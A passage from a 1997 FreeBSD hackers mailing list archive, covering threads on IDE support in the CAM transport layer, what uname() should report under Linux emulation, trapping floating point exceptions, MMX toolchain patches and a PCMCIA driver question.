as its transport. Then again, I'm biased, since I have a ATAPI parallel cdrom that I'd like to see treated just like SCSI with the horrible manner to want to go over a parallel port. Justin, how possible is this with CAM :-)? Warner From owner-freebsd-hackers Fri Oct 10 09:04:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA20159 for hackers-outgoing; Fri, 10 Oct 1997 09:04:04 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from cedb.dpcsys.com (cedb.dpcsys.com [206.16.184.4]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA20128; Fri, 10 Oct 1997 09:03:40 -0700 (PDT) (envelope-from dan@dpcsys.com) Received: from localhost (dan@localhost) by cedb.dpcsys.com (8.8.5/8.8.2) with SMTP id QAA02214; Fri, 10 Oct 1997 16:02:49 GMT Date: Fri, 10 Oct 1997 09:02:49 -0700 (PDT) From: Dan Busarow To: Thomas David Rivers cc: freebsd-emulation@freefall.FreeBSD.org, freebsd-hackers@freefall.FreeBSD.org Subject: Re: LINUX emulation and uname(3). In-Reply-To: <199710101218.IAA08913@lakes.dignus.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 10 Oct 1997, Thomas David Rivers wrote: > However, after reporting what I was doing, the company sent me a new > license key (with the idea that "FreeBSD" would be returned in the utsname > fields), which worked... Seems like this could be a good thing. Let the companies know that some of those Linux sales are really FreeBSD sales. Dan -- Dan Busarow 714 443 4172 DPC Systems / Beach.Net dan@dpcsys.com Dana Point, California 83 09 EF 59 E0 11 89 B4 8D 09 DB FD E1 DD 0C 82 From owner-freebsd-hackers Fri Oct 10 10:20:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA25058 for hackers-outgoing; Fri, 10 Oct 1997 10:20:16 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from pluto.plutotech.com (ken@mail.plutotech.com [206.168.67.137]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA25050 for ; Fri, 10 Oct 1997 10:20:09 -0700 (PDT) (envelope-from ken@plutotech.com) Received: (from ken@localhost) by pluto.plutotech.com (8.8.5/8.8.5) id LAA07863; Fri, 10 Oct 1997 11:19:09 -0600 (MDT) From: Kenneth Merry Message-Id: <199710101719.LAA07863@pluto.plutotech.com> Subject: Re: HP 7100i In-Reply-To: <199710100836.SAA01577@word.smith.net.au> from Mike Smith at "Oct 10, 97 06:06:28 pm" To: mike@smith.net.au (Mike Smith) Date: Fri, 10 Oct 1997 11:19:09 -0600 (MDT) Cc: ken@plutotech.com, mike@smith.net.au, tlambert@primenet.com, sos@sos.freebsd.dk, lederer@bonn-online.com, hackers@FreeBSD.ORG, gibbs@plutotech.com X-Mailer: ELM [version 2.4ME+ PL28s (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Mike Smith wrote... > > > > I think the way to go, if you want to add IDE support to the > > FreeBSD CAM code, is to write another transport layer to go alongside the > > current transport layer. Justin can elaborate on it a little more. (I've > > CCed him..) > > The situation is a little complicated, in that you have two > fundamentally different device types hung off the same interface. For > our purposes, these are ATA disks and ATAPI devices. > > The NetBSD approach creates an 'atapibus', off which ATAPI devices are > hung. These are registered with their SCSI layer, whilst IDE disks are > associated with their 'wd' driver. > > I'm not sure if you're suggesting that the IDE interface should be > parallelled with the SCSI interface, or whether you mean that the ATAPI > interface should be treated as though it were another SCSI adapter. > Perhaps the CAM docco will make things clearer. Actually, I'm suggesting that the IDE interface be parallelized with the SCSI interface. (And it isn't actually my idea -- Justin first suggested it.) It should be possible to create an IDE transport layer that uses a lot of the same code as the SCSI transport layer. The CAM-3 spec has a nice diagram of the various parts of CAM in section 5.1, page 17. Basically, it goes like this: _______________ _______________ | Application | | Application | --------------- --------------- | | ------------------------------------------------------- | OS | ------------------------------------------------------- | | | | | ---------- ---------- ---------- ----------- ----------- | Disk | | Tape | | CDROM | | passthru| | Network | | Driver | | Driver | | Driver | | Driver | | Driver | ---------- ---------- ---------- ----------- ----------- | | | | | ------------------|------------------------------ | | ------------------- | Transport (XPT) | | Layer | ------------------- | --------------------------------- | | | -------------- -------------- ------------------- | SCSI (SPI) | | SCSI (FCP) | | Network | | SIM | | FC SIM | | Interconnect SIM| -------------- -------------- ------------------- | | | | |<----------------| | | | -------------- -------------- -------------- | Hardware | | Hardware | | Hardware | | Adapter(HA)| | Adapter(HA)| | Adapter(HA)| -------------- -------------- -------------- So, I guess one question here is how SCSI-specific is the current transport layer? IMO, for the most part it is generic enough to handle IDE and SCSI commands, but there are some parts that are tuned to SCSI devices. There are a couple of different ways to go about adding IDE support into CAM. One way would be to separate the transport routines that are SCSI-specific from the main body of the transport code. Then you would write equivalent IDE routines, and have two separate transport layers. The IDE layer would talk to the IDE harware driver(s), and the SCSI layer would talk to the SCSI hardware drivers. One problem that comes up with this method is that some of the peripheral drivers, notably the DA (Direct Access) and CDROM drivers are fairly SCSI-specific. There are certainly elements of the drivers that would apply to IDE drives, but they are also full of SCSI commands. The passthrough driver, though, is definitely generic enough to work with either SCSI or IDE drives. You'd probably end up having separate IDE direct-access, sequential-access, and possibly CDROM drivers. They would probably somewhat similar to their SCSI counterparts. The main benefit would be code-sharing between the transport layers. Another way to add IDE support into CAM would be to put a translation layer, along the lines of what NetBSD has. (note: I haven't taken a good look at the NetBSD code, I may have misunderstood what it does...) Basically, it would sit between the current transport layer and the IDE hardware driver(s), and translate SCSIisms to IDEisms. You may still need IDE peripheral drivers, though. So which is a cleaner solution? I'm not sure, really. I guess the translation layer idea would allow more code sharing between IDE and SCSI, but how many kludges would it have to go through to do it? Depending on how it's done, you may still need IDE disk and CDROM drivers. Having separate transport layers that just share most of their code might work. But then you would still need separate IDE peripheral drivers. Anyway, I'm no expert on IDE or SCSI, so maybe some folks out there have other ideas that might work for this. I think it's definitely possible (NetBSD does it), the question is just what is the best way to do it? When he gets some time, perhaps Justin can comment on this. (He wrote most all of the transport layer after all...so he has a better idea of the issues that would come up in trying to get IDE devices to work with it.) Ken -- Kenneth Merry ken@plutotech.com From owner-freebsd-hackers Fri Oct 10 10:42:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA26207 for hackers-outgoing; Fri, 10 Oct 1997 10:42:55 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from elvis.vnet.net (elvis.vnet.net [166.82.1.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA26202; Fri, 10 Oct 1997 10:42:49 -0700 (PDT) (envelope-from rivers@dignus.com) Received: from ponds.dignus.com (ponds.vnet.net [166.82.177.48]) by elvis.vnet.net (8.8.5/8.8.4) with ESMTP id NAA01059; Fri, 10 Oct 1997 13:35:03 -0400 (EDT) Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.8.5) with ESMTP id NAA23442; Fri, 10 Oct 1997 13:44:41 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id NAA09326; Fri, 10 Oct 1997 13:34:43 -0400 (EDT) Date: Fri, 10 Oct 1997 13:34:43 -0400 (EDT) From: Thomas David Rivers Message-Id: <199710101734.NAA09326@lakes.dignus.com> To: rivers@dignus.com, sos@sos.freebsd.dk Subject: Re: LINUX emulation and uname(3). Cc: cracauer@cons.org, freebsd-emulation@freefall.FreeBSD.org, freebsd-hackers@freefall.FreeBSD.org, jlemon@americantv.com Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Maybe a sysctl, so people could taylor it, is the right thing to do. > > In any event, I think a uname() call under Linux emulation should claim > > to be "Linux" and not "FreeBSD". So, the default should be "Linux"... > > NO, I think this is a bad idea. First off it _is_ not a Linux system, > second the next thing is you will have to report an os version. Now tell > me which of the bezillions Linux's versions are we going to call us then ? > And besides some programs uses this to tell other services which platform > they are running on, we dont want to advertise ourselves as Linux do we ?? > > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team > Even more code to hack -- will it ever end > .. > Well - I suppose it comes down to just how much of an emulation we want to be... That is, do we want to be able to run any Linux program; or some (admittedly large) subset of them? Since there are many different variants of Linux emulation; I'd suggest we simply report our emulation version as the OS version. And - we would not be advertising ourselves as Linux; but simply being faithful to the emulation... - Dave Rivers - From owner-freebsd-hackers Fri Oct 10 10:54:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA26898 for hackers-outgoing; Fri, 10 Oct 1997 10:54:56 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from pegasus.com (pegasus.com [206.127.225.31]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id KAA26884; Fri, 10 Oct 1997 10:54:39 -0700 (PDT) (envelope-from richard@pegasus.com) Received: by pegasus.com (8.6.8/PEGASUS-2.2) id HAA17182; Fri, 10 Oct 1997 07:54:17 -1000 Date: Fri, 10 Oct 1997 07:54:17 -1000 From: richard@pegasus.com (Richard Foulk) Message-Id: <199710101754.HAA17182@pegasus.com> In-Reply-To: Søren Schmidt "Re: LINUX emulation and uname(3)." (Oct 10, 3:12pm) X-Mailer: Mail User's Shell (7.2.5 10/14/92) To: freebsd-emulation@freefall.FreeBSD.org, freebsd-hackers@freefall.FreeBSD.org Subject: Re: LINUX emulation and uname(3). Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk } } NO, I think this is a bad idea. First off it _is_ not a Linux system, } second the next thing is you will have to report an os version. Now tell } me which of the bezillions Linux's versions are we going to call us then = } ? } And besides some programs uses this to tell other services which platform } they are running on, we dont want to advertise ourselves as Linux do we ?= } ? } This is absurd. When you're emulating another OS you want to get as close as possible to acting just like that OS. Period. The goal is to run software. If the emulation is incomplete then chances are some things won't run -- which means the emulator fails it's primary task. If you find the `Linux' report to be that hideous then make the output configurable. But the default action should be as close to what Linux produces as possible. If Linux software doesn't run, for any reason, then the emulator has failed. Richard From owner-freebsd-hackers Fri Oct 10 11:13:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA27800 for hackers-outgoing; Fri, 10 Oct 1997 11:13:25 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sos.freebsd.dk (sos.freebsd.dk [195.8.129.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA27790; Fri, 10 Oct 1997 11:13:17 -0700 (PDT) (envelope-from sos@sos.freebsd.dk) Received: (from sos@localhost) by sos.freebsd.dk (8.8.7/8.7.3) id UAA08508; Fri, 10 Oct 1997 20:07:34 +0200 (MEST) From: Søren Schmidt Message-Id: <199710101807.UAA08508@sos.freebsd.dk> Subject: Re: LINUX emulation and uname(3). In-Reply-To: <199710101734.NAA09326@lakes.dignus.com> from Thomas David Rivers at "Oct 10, 97 01:34:43 pm" To: rivers@dignus.com (Thomas David Rivers) Date: Fri, 10 Oct 1997 20:07:34 +0200 (MEST) Cc: rivers@dignus.com, cracauer@cons.org, freebsd-emulation@freefall.FreeBSD.org, freebsd-hackers@freefall.FreeBSD.org, jlemon@americantv.com X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In reply to Thomas David Rivers who wrote: > > > > NO, I think this is a bad idea. First off it _is_ not a Linux system, > > second the next thing is you will have to report an os version. Now tell > > me which of the bezillions Linux's versions are we going to call us then ? > > And besides some programs uses this to tell other services which platform > > they are running on, we dont want to advertise ourselves as Linux do we ?? > > > Well - I suppose it comes down to just how much of an emulation > we want to be... That is, do we want to be able to run any Linux > program; or some (admittedly large) subset of them? That should have nothing to do with it, but some vendors are just plain stupid, and we shouldn't pad them on the shoudler for that. > Since there are many different variants of Linux emulation; I'd suggest > we simply report our emulation version as the OS version. We allready do that, sort of.. > And - we would not be advertising ourselves as Linux; but simply > being faithful to the emulation... That was NOT what I meant, certain programs uses the uname info to log to other parties that they've "been there", we don't want the statistics to be in favour of linux here, when it actually was a FreeBSD system that made the connection. It has nothing to do with fait, its hard facts :) -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team Even more code to hack -- will it ever end .. From owner-freebsd-hackers Fri Oct 10 12:08:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA01394 for hackers-outgoing; Fri, 10 Oct 1997 12:08:30 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from millenia.srrc.usda.gov ([199.78.118.11]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA01385 for ; Fri, 10 Oct 1997 12:08:25 -0700 (PDT) (envelope-from glenn@millenia.srrc.usda.gov) Received: from millenia (localhost [127.0.0.1]) by millenia.srrc.usda.gov (8.8.7/8.8.7) with ESMTP id OAA09470 for ; Fri, 10 Oct 1997 14:07:34 -0500 (CDT) Message-Id: <199710101907.OAA09470@millenia.srrc.usda.gov> X-Mailer: exmh version 2.0zeta 7/24/97 From: Glenn Johnson To: freebsd-hackers@freebsd.org Subject: Floating point exceptions Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 10 Oct 1997 14:07:33 -0500 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I hope this is the appropriate list. I've got a calculation intensive (simulation) application that I run that aborts with a Floating Point Exception error under FreeBSD -current. I can run this application just fine under Linux, but of course I want to run it under FreeBSD (so I can replace Linux). My understanding is that FreeBSD traps FPE's. Is there a way for me to change the FreeBSD source code to mask FPE's rather than trap them? Better yet, can I do that for a specific application at compile time? Your assistance is greatly appreciated. -- Glenn Johnson USDA-ARS-SRRC Phone: (504) 286-4252 1100 Robert E. Lee Boulevard FAX: (504) 286-4217 New Orleans, LA 70124 e-mail: gjohnson@nola.srrc.usda.gov From owner-freebsd-hackers Fri Oct 10 12:40:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA03034 for hackers-outgoing; Fri, 10 Oct 1997 12:40:35 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from consys.com (consys.com [209.60.202.194]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA03002; Fri, 10 Oct 1997 12:40:25 -0700 (PDT) (envelope-from rcarter@consys.com) Received: from dnstoo.consys.com (dnstoo.ConSys.COM [209.60.202.195]) by consys.com (8.8.6/8.8.6) with ESMTP id MAA14473; Fri, 10 Oct 1997 12:40:11 -0700 (MST) Received: from dnstoo.consys.com (localhost [127.0.0.1]) by dnstoo.consys.com (8.8.5/8.8.6) with ESMTP id MAA02976; Fri, 10 Oct 1997 12:40:10 -0700 (MST) Message-Id: <199710101940.MAA02976@dnstoo.consys.com> X-Mailer: exmh version 2.0zeta 7/24/97 To: S ren Schmidt cc: rivers@dignus.com (Thomas David Rivers), cracauer@cons.org, freebsd-emulation@freefall.FreeBSD.org, freebsd-hackers@freefall.FreeBSD.org, jlemon@americantv.com Subject: Re: LINUX emulation and uname(3). In-reply-to: Your message of "Fri, 10 Oct 1997 20:07:34 +0200." <199710101807.UAA08508@sos.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Date: Fri, 10 Oct 1997 12:40:10 -0700 From: "Russell L. Carter" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id MAA03003 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk }We allready do that, sort of.. } }> And - we would not be advertising ourselves as Linux; but simply }> being faithful to the emulation... } }That was NOT what I meant, certain programs uses the uname info to }log to other parties that they've "been there", we don't want the }statistics to be in favour of linux here, when it actually was a }FreeBSD system that made the connection. }It has nothing to do with fait, its hard facts :) Hmm, hard facts are things like having a deadline to get a project demoed, so there isn't enough time to get the vendor to understand what is going on and change the test that works for them on their linux boxes, then package up a new distribution just for me. Codine is a real good example (www.genias.de). But I like Martin's idea of stuffing a dummy uname into the linux bin, too. Russell From owner-freebsd-hackers Fri Oct 10 12:41:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA03124 for hackers-outgoing; Fri, 10 Oct 1997 12:41:24 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id MAA03112 for ; Fri, 10 Oct 1997 12:41:19 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id VAA02268 for hackers@FreeBSD.ORG; Fri, 10 Oct 1997 21:41:17 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id VAA24302; Fri, 10 Oct 1997 21:26:45 +0200 (MET DST) Message-ID: <19971010212645.JR64544@uriah.heep.sax.de> Date: Fri, 10 Oct 1997 21:26:45 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: Intel MMX programming References: <343D7911@mail> <343DE63D.41C67EA6@zerberus.hai.siemens.co.at> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <343DE63D.41C67EA6@zerberus.hai.siemens.co.at>; from Helmut Wirth on Oct 10, 1997 09:24:29 +0100 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Helmut Wirth wrote: > I submitted patches for the assembler and for the debugger gdb to > support MMX instructions. The patches were submitted at the end of > March 97 but nobody was interested. They are still sitting around in the > GNATS database (gnu/3157, 97/03/31). We basically don't maintain the GNU stuff ourselves. Did you submit the patches to the gas and gdb maintainers, too? That stands a way better chance. (We actually maintain part of the stuff, but only since GNU doesn't support a.out anymore.) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Fri Oct 10 13:05:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA04430 for hackers-outgoing; Fri, 10 Oct 1997 13:05:26 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from elvis.vnet.net (elvis.vnet.net [166.82.1.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA04401; Fri, 10 Oct 1997 13:05:08 -0700 (PDT) (envelope-from rivers@dignus.com) Received: from ponds.dignus.com (ponds.vnet.net [166.82.177.48]) by elvis.vnet.net (8.8.5/8.8.4) with ESMTP id QAA25648; Fri, 10 Oct 1997 16:04:39 -0400 (EDT) Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.8.5) with ESMTP id QAA24147; Fri, 10 Oct 1997 16:13:04 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id QAA09577; Fri, 10 Oct 1997 16:03:03 -0400 (EDT) Date: Fri, 10 Oct 1997 16:03:03 -0400 (EDT) From: Thomas David Rivers Message-Id: <199710102003.QAA09577@lakes.dignus.com> To: rivers@dignus.com, sos@sos.freebsd.dk Subject: Re: LINUX emulation and uname(3). Cc: cracauer@cons.org, freebsd-emulation@freefall.FreeBSD.org, freebsd-hackers@freefall.FreeBSD.org, jlemon@americantv.com Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > In reply to Thomas David Rivers who wrote: > > > > > > NO, I think this is a bad idea. First off it _is_ not a Linux system, > > > second the next thing is you will have to report an os version. Now tell > > > me which of the bezillions Linux's versions are we going to call us then ? > > > And besides some programs uses this to tell other services which platform > > > they are running on, we dont want to advertise ourselves as Linux do we ?? > > > > > Well - I suppose it comes down to just how much of an emulation > > we want to be... That is, do we want to be able to run any Linux > > program; or some (admittedly large) subset of them? > > That should have nothing to do with it, but some vendors are just plain > stupid, and we shouldn't pad them on the shoudler for that. > > > Since there are many different variants of Linux emulation; I'd suggest > > we simply report our emulation version as the OS version. > > We allready do that, sort of.. > > > And - we would not be advertising ourselves as Linux; but simply > > being faithful to the emulation... > > That was NOT what I meant, certain programs uses the uname info to > log to other parties that they've "been there", we don't want the > statistics to be in favour of linux here, when it actually was a > FreeBSD system that made the connection. > It has nothing to do with fait, its hard facts :) I hadn't considered that - it does make a lot of sense... and, I agree with you... How 'bout a sysctl then, so people could adjust this if needed... - Dave Rivers - > > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team > Even more code to hack -- will it ever end > .. From owner-freebsd-hackers Fri Oct 10 13:16:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA05228 for hackers-outgoing; Fri, 10 Oct 1997 13:16:11 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from grayling.erg.sri.com (grayling.erg.sri.com [128.18.4.194]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id NAA05143; Fri, 10 Oct 1997 13:15:17 -0700 (PDT) (envelope-from templin@erg.sri.com) Received: by grayling.erg.sri.com (8.6.12/2.7davy) id NAA01520; Fri, 10 Oct 1997 13:15:15 -0700 Message-Id: <199710102015.NAA01520@grayling.erg.sri.com> Date: Fri, 10 Oct 1997 13:15:15 -0700 From: "Fred L. Templin" To: freebsd-current@freebsd.org, freebsd-hackers@freebsd.org, freebsd-mobile@freebsd.org Cc: templin@erg.sri.com Subject: pccard driver questions (FreeBSD 2.2.2-RELEASE + PAO-970616) Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, I'm using FreeBSD 2.2.2-RELEASE with PAO-970616, and I'm writing a new device driver for a PCMCIA card which is not currently supported in either of these packages. The card is strictly a memory-mapped device, and has no I/O mapping or interrupt capability. The card is programmed by writing command(s) and data into the card's common memory space, then setting a bit in the function configuration registers in attribute memory space to tell the card to begin, then polling another bit in the registers to ascertain when the card is done executing the command(s). So, in short, I need to be able to use 'uiomove()' to copy data/commands into/out of the card's common memory space from an application using the open, close read, write, and ioctl semantics and I need to be able to switch between attribute memory space and ccommon memory space. But, in order to do this I need to manipulate the per-slot window mappings which get set up when the card is found by pccardd and which are managed by the slot controller code in sys/pccard/{pccard,pcic}.c and my fear is that by doing so I would risk a system crash if a pccard event caused the slot controller code to yank it's resource allocations out from under my driver while it was accessing them. The only other driver I've seen in the FreeBSD source pool which seems to want to play with 'uiomove()' and window mappings like this is sys/i386/isa/scc.c, but the driver is rife with comments of the form: "bad things will happen if you pull the card out while the system is running" which makes me nervous about following their model. So my first question is - how can I write a driver for a memory-mapped PCMCIA card which can disassociate itself from the slot controller driver when the device is probed, yet still allow me to manipulate the per-slot window mappings? My second question has to do with the way slot controller chips are probed. From looking at 'pcic_probe()' in sys/pccard/pcic.c, it looks for all the world to me that only a single slot controller chip is supported (i.e., there are no unit numbers, and there is only one statically-allocated "slot_ctrl" struct). Is it true that FreeBSD currently only supports one slot controller chip (which controls two slots), or am I missing something? (I'm hoping the folks working on -current might have some knowledge on this...) Thanks much, Fred templin@erg.sri.com From owner-freebsd-hackers Fri Oct 10 13:19:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA05444 for hackers-outgoing; Fri, 10 Oct 1997 13:19:27 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from earth.mat.net (root@earth.mat.net [206.246.122.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA05439 for ; Fri, 10 Oct 1997 13:19:20 -0700 (PDT) (envelope-from chuckr@glue.umd.edu) Received: from picnic.mat.net (picnic.mat.net [206.246.122.117]) by earth.mat.net (8.8.7/8.6.12) with SMTP id QAA02867; Fri, 10 Oct 1997 16:13:58 -0400 (EDT) Date: Fri, 10 Oct 1997 15:14:00 -0400 (EDT) From: Chuck Robey X-Sender: chuckr@localhost To: Glenn Johnson cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Floating point exceptions In-Reply-To: <199710101907.OAA09470@millenia.srrc.usda.gov> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 10 Oct 1997, Glenn Johnson wrote: > I hope this is the appropriate list. > > I've got a calculation intensive (simulation) application that I run that > aborts with a Floating Point Exception error under FreeBSD -current. I can run > this application just fine under Linux, but of course I want to run it under > FreeBSD (so I can replace Linux). My understanding is that FreeBSD traps > FPE's. Is there a way for me to change the FreeBSD source code to mask FPE's > rather than trap them? Better yet, can I do that for a specific application at > compile time? Your assistance is greatly appreciated. It makes a signal occur, SIGFPE. All you have to do is decide what you want to do when the exception occurs. You could ignore it, or set up a function to catch it, and maybe print an error, set a flag, I don't know how your software works. > -- > Glenn Johnson > USDA-ARS-SRRC Phone: (504) 286-4252 > 1100 Robert E. Lee Boulevard FAX: (504) 286-4217 > New Orleans, LA 70124 e-mail: gjohnson@nola.srrc.usda.gov > > > > ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@eng.umd.edu | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD (301) 220-2114 | version 3.0 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-hackers Fri Oct 10 13:20:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA05623 for hackers-outgoing; Fri, 10 Oct 1997 13:20:52 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from lab321.ru (anonymous1.omsk.net.ru [194.226.32.34]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id NAA05607; Fri, 10 Oct 1997 13:20:30 -0700 (PDT) (envelope-from Eugeny.Kuzakov@lab321.ru) Received: from lab321.ru (kev.l321.omsk.net.ru [194.226.33.68]) by lab321.ru (8.8.5-MVC-230497/8.8.5) with ESMTP id DAA23617; Sat, 11 Oct 1997 03:21:47 +0600 (OSK) Message-ID: <343E8E6F.8B465C66@lab321.ru> Date: Sat, 11 Oct 1997 03:22:07 +0700 From: Eugeny Kuzakov Organization: Powered by FreeBSD. X-Mailer: Mozilla 4.03b8 [en] (X11; I; FreeBSD 3.0-970807-SNAP i386) MIME-Version: 1.0 To: "Jonathan M. Bresler" , hackers@freebsd.org Subject: Re: FreeBSD for internet server. Ok. What version ? References: <199710101638.JAA22594@hub.freebsd.org> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jonathan M. Bresler wrote: > > hmm.....when did you try to subscribe? 5 hours ago... > if it has been a while ago, > please subscribe again. I do it every month...:( -- Best wishes, Eugeny Kuzakov Laboratory 321 ( Omsk, Russia ) http://www.lab321.ru/~kev kev@lab321.ru From owner-freebsd-hackers Fri Oct 10 13:44:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA06859 for hackers-outgoing; Fri, 10 Oct 1997 13:44:33 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id NAA06850 for ; Fri, 10 Oct 1997 13:44:27 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id WAA03260; Fri, 10 Oct 1997 22:44:20 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id WAA01153; Fri, 10 Oct 1997 22:42:49 +0200 (MET DST) Message-ID: <19971010224248.AO49560@uriah.heep.sax.de> Date: Fri, 10 Oct 1997 22:42:48 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Cc: gjohnson@nola.srrc.usda.gov (Glenn Johnson) Subject: Re: Floating point exceptions References: <199710101907.OAA09470@millenia.srrc.usda.gov> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199710101907.OAA09470@millenia.srrc.usda.gov>; from Glenn Johnson on Oct 10, 1997 14:07:33 -0500 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Glenn Johnson wrote: > Is there a way for me to change the FreeBSD source code to mask > FPE's rather than trap them? Better yet, can I do that for a > specific application at compile time? Not at compile-time, but at run-time: #include ... fpsetmask(0); -- cheers, J"org 